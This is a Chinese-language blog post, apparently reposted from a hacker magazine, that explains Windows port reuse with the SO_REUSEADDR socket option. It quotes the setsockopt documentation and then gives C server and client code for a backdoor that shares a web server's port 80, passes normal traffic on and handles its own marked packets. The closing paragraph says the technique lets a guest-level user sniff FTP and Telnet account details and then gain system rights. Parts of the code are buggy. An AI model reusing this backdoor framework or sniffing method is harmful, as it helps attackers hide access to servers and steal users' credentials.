埠複用大揭密

簡書成研發表於2014-07-22
以前在黑防發表過了的~本來是貼在老blog的~不過那段時間的blog資料全部丟失~現在再貼出來玩玩。
  這學期課很少以至於很多時候都空閒著沒什麼事,於是就有了這麼一篇文章的誕生,其實很早之前就想寫這麼一篇文章來和大家分享,只是當時很忙一直沒時間寫,今天終於有機會把這篇文章寫出來了。

  這一切要從黑防第三期說起,第三期中llikz寫了一篇《輕鬆編寫埠重定向程式》,這篇文章中寫出了埠重定向的思路,不過看了這篇文章後發現這篇文章其實在開頭這麼一段其實是有錯誤的,這段內容如下:


在目標機建立兩個套接字Socket1,Socket2,Scoket1監聽80埠,當有連線來到時,Socket2連線3389埠,將Socket1接收到的資料通過Socket2轉發。這樣就能通過訪問目標機80埠來連線3389埠了。
為什麼說這個地方錯了呢?這要從bind函式說起開始說起,這個函式有這麼一段說明:bind將指定的套接字同一個已知地址和埠繫結在一起。一旦出錯,bind函式會返回SOCKET_ERROR。對bind來說,最常見的錯誤是WSAEADDRINUSE。如果使用TCP/IP,那麼該錯誤表示另一個程式已經同本地IP地址及埠號繫結到了一起,或者這個IP地址和埠號處於TIME_WAIT狀態。假如對一個已繫結套癤子呼叫bind,便會返回 WSAEFAULT錯誤。而llikz在文章說把3389重定向到80埠上,但按照他後面寫的程式,卻是不能夠實現的,按照他後面的程式設計方法就需要在80埠上繫結一個套接字,但現在大家看看前面bind函式說明就知道肯定會返回WSAEADDRINUSE錯誤,因為另一個程式已經同本地IP地址及埠號繫結到了一起,因此llikz的程式只適應於把一個埠重定向到一個不特殊的埠上,而80埠對於web伺服器來就是特殊埠。說了這麼多 llikz的文章,而這究竟和今天我要說的埠複用有什麼聯絡呢?而今天要講的埠複用問題就可以很好的解決埠重繫結問題。
一直以來埠複用被大家看做是十分神祕的技術,其實並不是大家所想象的那樣。這裡我給大家說下應用程式與他所用埠的關係,大家就會發現埠複用技術是如此的簡單。其實應用程式或者程式所需要的ip和埠用的只是環路地址127.0.0.1和他所需要的埠,大家搞清這一點了就不難想到其中的奧祕。講了埠複用技術的基本原理之後,我再給大家介紹一個埠複用技術中最重要的一個函式,這個函式就決定了埠的重繫結。函式原型及說明如下:
簡述:
設定套介面的選項。

#include 

int PASCAL FAR setsockopt( SOCKET s, int level, int optname,
const char FAR* optval, int optlen);

s:標識一個套介面的描述字。
level:選項定義的層次;目前僅支援SOL_SOCKET和IPPROTO_TCP層次。
optname:需設定的選項。
optval:指標,指向存放選項值的緩衝區。
optlen:optval緩衝區的長度。

註釋:
setsockopt()函式用於任意型別、任意狀態套介面的設定選項值。儘管在不同協議層上存在選項,但本函式僅定義了最高的"套介面"層次上的選項。選項影響套介面的操作,諸如加急資料是否在普通資料流中接收,廣播資料是否可以從套介面傳送等等。
有兩種套介面的選項:一種是布林型選項,允許或禁止一種特性;另一種是整形或結構選項。允許一個布林型選項,則將optval指向非零整形數;禁止一個選項 optval指向一個等於零的整形數。對於布林型選項,optlen應等於sizeof(int);對其他選項,optval指向包含所需選項的整形數或結構,而optlen則為整形數或結構的長度。SO_LINGER選項用於控制下述情況的行動:套介面上有排隊的待傳送資料,且 closesocket()呼叫已執行。參見closesocket()函式中關於SO_LINGER選項對closesocket()語義的影響。應用程式通過建立一個linger結構來設定相應的操作特性:
struct linger {
int l_onoff;
int l_linger;
};
為了允許SO_LINGER,應用程式應將l_onoff設為非零,將l_linger設為零或需要的超時值(以秒為單位),然後呼叫 setsockopt()。為了允許SO_DONTLINGER(亦即禁止SO_LINGER),l_onoff應設為零,然後呼叫 setsockopt()。
預設條件下,一個套介面不能與一個已在使用中的本地地址捆綁(參見bind())。但有時會需要"重用"地址。因為每一個連線都由本地地址和遠端地址的組合唯一確定,所以只要遠端地址不同,兩個套介面與一個地址捆綁並無大礙。為了通知WINDOWS套介面實現不要因為一個地址已被一個套介面使用就不讓它與另一個套介面捆綁,應用程式可在bind()呼叫前先設定SO_REUSEADDR選項。請注意僅在bind()呼叫時該選項才被解釋;故此無需(但也無害)將一個不會共用地址的套介面設定該選項,或者在bind()對這個或其他套介面無影響情況下設定或清除這一選項。(此處就是最關鍵的重繫結說明了)
一個應用程式可以通過開啟SO_KEEPALIVE選項,使得WINDOWS套介面實現在TCP連線情況下允許使用"保持活動"包。一個WINDOWS套介面實現並不是必需支援"保持活動",但是如果支援的話,具體的語義將與實現有關,應遵守 RFC1122"Internet主機要求-通訊層"中第4.2.3.6節的規範。如果有關連線由於"保持活動"而失效,則進行中的任何對該套介面的呼叫都將以WSAENETRESET錯誤返回,後續的任何呼叫將以WSAENOTCONN錯誤返回。
TCP_NODELAY選項禁止Nagle演算法。 Nagle演算法通過將未確認的資料存入緩衝區直到蓄足一個包一起傳送的方法,來減少主機傳送的零碎小資料包的數目。但對於某些應用來說,這種演算法將降低系統效能。所以TCP_NODELAY可用來將此演算法關閉。應用程式編寫者只有在確切瞭解它的效果並確實需要的情況下,才設定TCP_NODELAY選項,因為設定後對網路效能有明顯的負面影響。TCP_NODELAY是唯一使用IPPROTO_TCP層的選項,其他所有選項都使用SOL_SOCKET層。
如果設定了SO_DEBUG選項,WINDOWS套介面供應商被鼓勵(但不是必需)提供輸出相應的除錯資訊。但產生除錯資訊的機制以及除錯資訊的形式已超出本規範的討論範圍。
setsockopt()支援下列選項。其中"型別"表明optval所指資料的型別。
選項 型別 意義
SO_BROADcast BOOL 允許套介面傳送廣播資訊。
SO_DEBUG BOOL 記錄除錯資訊。
SO_DONTLINER BOOL 不要因為資料未傳送就阻塞關閉操作。設定本選項相當於將SO_LINGER的l_onoff元素置為零。
SO_DONTROUTE BOOL 禁止選徑;直接傳送。
SO_KEEPALIVE BOOL 傳送"保持活動"包。
SO_LINGER struct linger FAR* 如關閉時有未傳送資料,則逗留。
SO_OOBINLINE BOOL 在常規資料流中接收帶外資料。
SO_RCVBUF int 為接收確定緩衝區大小。
SO_REUSEADDR BOOL 允許套介面和一個已在使用中的地址捆綁(參見bind())。
SO_SNDBUF int 指定傳送緩衝區大小。
TCP_NODELAY BOOL 禁止傳送合併的Nagle演算法。

setsockopt()不支援的BSD選項有:
選項名 型別 意義
SO_ACCEPTCONN BOOL 套介面在監聽。
SO_ERROR int 獲取錯誤狀態並清除。
SO_RCVLOWAT int 接收低階水印。
SO_RCVTIMEO int 接收超時。
SO_SNDLOWAT int 傳送低階水印。
SO_SNDTIMEO int 傳送超時。
SO_TYPE int 套介面型別。
IP_OPTIONS 在IP頭中設定選項。

返回值:
若無錯誤發生,setsockopt()返回0。否則的話,返回SOCKET_ERROR錯誤,應用程式可通過WSAGetLastError()獲取相應錯誤程式碼。

錯誤程式碼:
WSANOTINITIALISED:在使用此API之前應首先成功地呼叫WSAStartup()。
WSAENETDOWN:WINDOWS套介面實現檢測到網路子系統失效。
WSAEFAULT:optval不是程式地址空間中的一個有效部分。
WSAEINPROGRESS:一個阻塞的WINDOWS套介面呼叫正在執行中。
WSAEINVAL:level值非法,或optval中的資訊非法。
WSAENETRESET:當SO_KEEPALIVE設定後連線超時。
WSAENOPROTOOPT:未知或不支援選項。其中,SOCK_STREAM型別的套介面不支援SO_BROADcast選項,SOCK_DGRAM型別的套介面不支援 SO_DONTLINGER 、SO_KEEPALIVE、SO_LINGER和SO_OOBINLINE選項。
WSAENOTCONN:當設定SO_KEEPALIVE後連線被複位。
WSAENOTSOCK:描述字不是一個套介面。

講了複用的基本原理和重繫結函式後,這裡我就以後門程式複用web服務的80埠做例子來為大家講解埠複用技術,基本實現過程是這樣的,後門程式對80埠進行監聽,接收到資料後對資料進行分析,如果是自己的資料包則後門程式自己進行處理,如果不是則把資料轉發到127.0.0.1地址的80埠上供本地 web服務使用

程式碼如下:

服務端:

//伺服器
#include "winsock.h"
#include "windows.h"
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#pragma comment(lib,"wsock32.lib")
#define RECV_PORT 80

SOCKET sock,sock1;
sockaddr_in ServerAddr;
sockaddr_in ClientAddr;
BOOL val;

DWORD StartSock()//初始化
{
    WSADATA WSAData;
    if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0)
    {
        printf("socket初始化失敗!/n");
        return(-1);
    }
    sock=socket(AF_INET,SOCK_STREAM,0);
    if(sock==SOCKET_ERROR)
    {
        printf("socket建立失敗!/n");
        WSACleanup();
        return(-1);
    }
    ServerAddr.sin_family=AF_INET;
    ServerAddr.sin_addr.s_addr=inet_addr("10.10.2.68");//或者htonl(INADDR_ANY);本地對外ip
    ServerAddr.sin_port=htons(RECV_PORT);
    val=TRUE;
    if(setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)//設定socket選項用來重繫結埠
    {
        printf("設定socket選項錯誤!/n");
        return(-1);
    }
    if(bind(sock,(struct sockaddr FAR *)&ServerAddr,sizeof(ServerAddr))==SOCKET_ERROR)//繫結埠
    {
        printf("socket繫結失敗!");
        return(-1);
    }
    return(1);
}

struct SOCKSTRUCT
{
    SOCKET *lsock;
    SOCKET *csock;
};

LPTHREAD_START_ROUTINE talk(LPVOID lparam)//轉發和判斷處理資料執行緒,呵呵這裡就用llikz的select方法來管理埠轉發,忘了select用法的朋友參見llikz的文章
{
    struct SOCKSTRUCT *conn=(struct SOCKSTRUCT *)lparam;
    while(1)
    {
        fd_set fdr;
        FD_ZERO(&fdr);
        FD_SET(*(conn->csock),&fdr);
        FD_SET(*(conn->lsock),&fdr);
        int ret=select(*(conn->lsock)+2,&fdr,NULL,NULL,NULL);
        if(ret==-1)
            return(0);
        if(FD_ISSET(*(conn->lsock),&fdr))
        {
            char buffer[20000];
            int len=recv(*(conn->lsock),buffer,1024,0);
            if(len==-1)
            {
                printf("error/n");  
            }
            buffer[len]='/0';
            printf(buffer);
            if(buffer=="qingwa")//這裡進行判斷是否是自己的資料,這裡我隨便用一個代替,讀者可以自己設定自己的判別標誌.
            {
                //後門處理資料
                printf("成功接收");
            }      
            else send(*(conn->csock),buffer,len,0);//不是則轉發到127.0.0.1上
        }
    }
    return(0);
}

DWORD ConnectProcess()
{  
    if(StartSock()==-1)
        return(-1);
    int Addrlen;
    Addrlen=sizeof(sockaddr_in);
    if(listen(sock,5)<0)
    {
        printf("監聽失敗!");
        return(-1);
    }
    printf("監聽中...../n");
    fd_set fdr;
    FD_ZERO(&fdr);
    FD_SET(sock,&fdr);
    int ret=select(sock+1,&fdr,NULL,NULL,NULL);
    if(ret==-1)
        return(-1);
    if(ret==1)
    {
        sock1=accept(sock,(struct sockaddr FAR *)&ClientAddr,&Addrlen);
        SOCKET csock=socket(AF_INET,SOCK_STREAM,0);
        struct sockaddr_in lc;
        lc.sin_family=AF_INET;
        lc.sin_port=htons(RECV_PORT);
        lc.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");//應用程式或程式工作地址
        if(setsockopt(sock1,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)//套接字sock1接收超時時處理
        {
            ret = GetLastError();
            return (-1);
        }
        if(setsockopt(csock,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)//套接字csock接收超時處理
        {
            ret = GetLastError();
            return(-1);
        }
        if(connect(csock,(struct sockaddr *)&lc,sizeof(lc))==SOCKET_ERROR)
            return(-1);
        struct SOCKSTRUCT twosock;
        twosock.csock=&csock;
        twosock.lsock=&sock1;
        HANDLE hthread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)talk,(LPVOID)&twosock,0,NULL);
        WaitForSingleObject(hthread,INFINITE);
        CloseHandle(hthread);
    }
    WSACleanup();
    return(1);
}

int main()
{
    if(ConnectProcess()==-1)
        return(-1);
    return(1);
}

客戶端:

//客戶端:
#include "winsock.h"
#include "windows.h"
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#pragma comment(lib,"wsock32.lib")
#define RECV_PORT 80

SOCKET sock;
sockaddr_in ServerAddr;

DWORD StartSock()//初始化
{
    WSADATA WSAData;
    if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0)
    {
        printf("socket初始化失敗!/n");
        return(-1);
    }
    ServerAddr.sin_family=AF_INET;
    ServerAddr.sin_addr.s_addr=inet_addr("10.10.2.68");
    ServerAddr.sin_port=htons(RECV_PORT);
    return(1);
}

DWORD CreateSocket()//建立套接字
{
    sock=socket(AF_INET,SOCK_STREAM,0);
    if(sock==SOCKET_ERROR)
    {
        printf("建立套接字失敗!/n");
        WSACleanup();
        return(-1);
    }
    return(1);
}

DWORD CallServer()//連線服務端
{
    CreateSocket();
    if(connect(sock,(struct sockaddr *)&ServerAddr,sizeof(ServerAddr))==SOCKET_ERROR)
    {
        printf("連線失敗!/n");
        closesocket(sock);
        return(-1);
    }
    return(1);
}

DWORD TCPSend(char data[],int datalen)傳送資料
{  
    int length=send(sock,data,datalen,0);
    if(length<=0)
    {
        printf("傳送錯誤!/n");
        closesocket(sock);
        WSACleanup();
        return(-1);
    }
    return(1);
}

int main()
{
    char buff[1024];
    int bufflen;
    memset(buff,0,strlen(buff));
    scanf("%s",&buff);
    bufflen=sizeof(buff);
    StartSock();
    if(CallServer()==-1)
        return(-1);  
    if(TCPSend(buff,bufflen)==-1)
    {
        printf("錯誤/n");
        return(-1);
    }
    Sleep(100);
    closesocket(sock);
    return(1);
}

至此整個埠複用的程式框架就出來了,剩下的資料結構部分和功能部分就靠大家自由去發揮了,不過還有一點大家要注意,就是必須要正常的應用程式或者服務先啟動,否則先啟動複用程式的話正常的應用程式或者服務就無法正常啟動了,所以我們在寫自己的程式時就需要先進行判斷,判斷的方法有很多種,這裡我就不再給出此部分程式碼了。上面介紹的setsockopt函式之所以介紹了這麼多,是因為這個函式非常的好,利用這個函式重繫結socket你就可以輕易的在很低許可權上監聽到具備這種SOCKET程式設計漏洞的通訊,而無須採用什麼掛接、鉤子或低層的驅動技術,例如可以在guest許可權下sniffer到21或者23埠的帳戶資訊,從而進一步獲得系統許可權。希望以上的埠複用技術能給大家帶來一些新的思路,開拓出一片新的視野。

相關文章